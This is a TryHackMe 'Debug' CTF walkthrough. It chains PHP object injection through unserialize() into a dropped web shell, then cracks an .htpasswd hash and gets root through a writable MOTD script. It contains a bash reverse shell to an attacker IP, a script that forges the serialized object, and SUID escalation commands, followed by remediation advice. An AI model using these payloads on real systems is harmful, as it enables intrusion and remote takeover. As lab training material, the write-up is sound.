mintshell
VI

Debug

A leftover index.php.bak exposes a PHP unserialize() sink; an object-injection file-write gadget drops a web shell, an .htpasswd crack gives james, and a root-run writable MOTD script gives root.

Platform
TryHackMe
Room
Debug(external link)
Difficulty
Medium
Vulnerabilities
insecure deserialization, weak credentials, weak service executable permissions
5 min read

TryHackMe: Debug — PHP Object Injection to a Web Shell, Then a Writable MOTD to Root

A walkthrough of TryHackMe’s “Debug”: a leftover index.php.bak exposes a PHP app that unserialize()**s a query parameter, so we craft a serialized object whose destructor writes our own PHP web shell. From www-data we crack an .htpasswd hash to become james, then abuse a root-run, group-writable MOTD script to land a root shell.

Debug is an authorized training machine on TryHackMe; everything here was performed against a legal practice target. Flags and the cracked password are redacted — values shown as <redacted> are real on the box but withheld here.


TL;DR — the whole chain

TL;DR

/backup/index.php.bak leaks the source → unserialize($_GET['debug']) is PHP object injection → the FormSubmit class’s __destruct() writes $message to a file named $form_file, a ready-made file-write gadget → serialize an object with form_file=shell.php and a PHP payload → browse /shell.php for a reverse shell as www-data → crack the .htpasswd $apr1$ hash to log in as james (user flag) → james can edit the root-run /etc/update-motd.d/00-header; drop a SUID step, reconnect, and the MOTD runs it as root → /bin/bash -p → root.

The target

export IP=<target-ip>
export ATTACKER_IP=<your-ip>

Two services:

22/tcp  OpenSSH 7.2p2 Ubuntu
80/tcp  Apache httpd 2.4.18  (Apache2 Ubuntu default page)

gobuster turns up a /backup directory, and inside it a source backup — the single most useful thing on the box.

The vulnerability: unserialize() on user input

The recovered index.php.bak feeds a request parameter straight into unserialize():

$debug = $_GET['debug'] ?? '';
$messageDebug = unserialize($debug);      // attacker-controlled object

class FormSubmit {
    public $form_file = 'message.txt';
    public $message   = '';
    public function __destruct() {
        file_put_contents(__DIR__ . '/' . $this->form_file, $this->message, FILE_APPEND);
    }
}

Insight

Passing attacker data to unserialize() lets us instantiate any in-scope class with properties we choose — that is PHP object injection. Here we do not even need a clever gadget chain: FormSubmit::__destruct() is itself a file-write primitive. It writes a value we control ($message) to a path we control ($form_file). Point it at shell.php with PHP code inside, and the harmless “save a comment” feature becomes “drop a web shell.”

Step 1 — recover the source backup

gobuster dir -u http://$IP/ -w /usr/share/wordlists/dirb/big.txt
# /backup  (Status: 301)

curl http://$IP/backup/index.php.bak     # full application source

Step 2 — forge the serialized object

Build a FormSubmit whose destructor writes a PHP reverse shell to shell.php, then URL-encode it:

cat > encoded.php <<'EOF'
<?php
class FormSubmit {
    public $form_file = 'shell.php';
    public $message   = '<?php exec("/bin/bash -c \'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1\'"); ?>';
}
print urlencode(serialize(new FormSubmit));
EOF
php encoded.php
# -> O%3A10%3A%22FormSubmit%22%3A2%3A%7Bs%3A9%3A%22form_file%22%3B ...

Step 3 — trigger it and catch the shell

Start a listener, send the object in ?debug= (the destructor fires at end of request and writes shell.php), then browse that file to run the payload:

nc -lvnp 4444 &
curl "http://$IP/index.php?debug=<url-encoded-object>"
curl "http://$IP/shell.php"
# connect from $IP ... uid=33(www-data) gid=33(www-data)

Upgrade to a PTY (python3 -c 'import pty;pty.spawn("/bin/bash")') and move on.

Step 4 — www-data → james (user flag)

The webroot holds an .htpasswd with an Apache APR1 (md5crypt) hash:

cat /var/www/html/.htpasswd
# james:$apr1$<redacted>

john --wordlist=rockyou.txt james_hash
# md5crypt ... -> cracked (value redacted)

ssh james@$IP
james@osboxes:~$ cat user.txt
# <redacted>

Step 5 — james → root via a writable MOTD

A note spells out the intended misconfiguration, and sudo -l rules sudo out:

cat Note-To-James.txt
# "...make our ssh welcome message a bit more pretty... I gave you access to modify all these files :)"
sudo -l                      # Sorry, user james may not run sudo

ls -l /etc/update-motd.d/00-header
# -rwxrwxr-x 1 root james ...   <- root owns it, james may WRITE it

Scripts in /etc/update-motd.d/ run as root on every SSH login. Because james can write 00-header, append a SUID step and reconnect to fire it as root:

echo 'chmod +s /bin/bash' >> /etc/update-motd.d/00-header
# reconnect so the MOTD runs as root
ssh james@$IP
james@osboxes:~$ /bin/bash -p
bash-4.3# id; cat /root/root.txt
# uid=0(root) ... ; <redacted>

Impact

Critical

Critical — unauthenticated RCE to root. The object injection alone is remote, pre-auth code execution worth about CVSS 3.1 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). The writable MOTD then turns any james-level foothold into root. Two independent, deterministic bugs, chained in minutes — and the whole thing started from a backup file left under the webroot.

Fix

  1. Never unserialize() untrusted input. Use json_decode for data, or at minimum unserialize($data, ['allowed_classes' => false]), and delete the debug parameter entirely.
  2. Keep source backups out of the webroot. .bak/.old/.swp files leak logic and secrets; serve code from outside the document root.
  3. Fix the MOTD permissions. Anything executed as root must not be writable by a non-root user; 00-header should be root:root, mode 755.
  4. Hash with a modern KDF and enforce a real password policy — the APR1 hash fell to rockyou instantly.

Takeaways

  • unserialize() + any class with a filesystem side effect in __destruct/__wakeup is RCE — you often do not need a full POP chain, just one gadget that writes a file.
  • .bak under the webroot is the fastest path to an app’s secrets. Always brute-force for backup copies of the pages you can see.
  • “I gave you access to modify these files” is a privesc in disguise whenever those files run as root — MOTD, cron, systemd units.
  • Weak passwords make the pivot free. The bug gets you www-data; the crack gets you the user.

Thanks for reading. Debug is a tidy two-bug chain: a classic PHP object-injection file-write for the foothold, and a root-executed file you are handed write access to for the finish.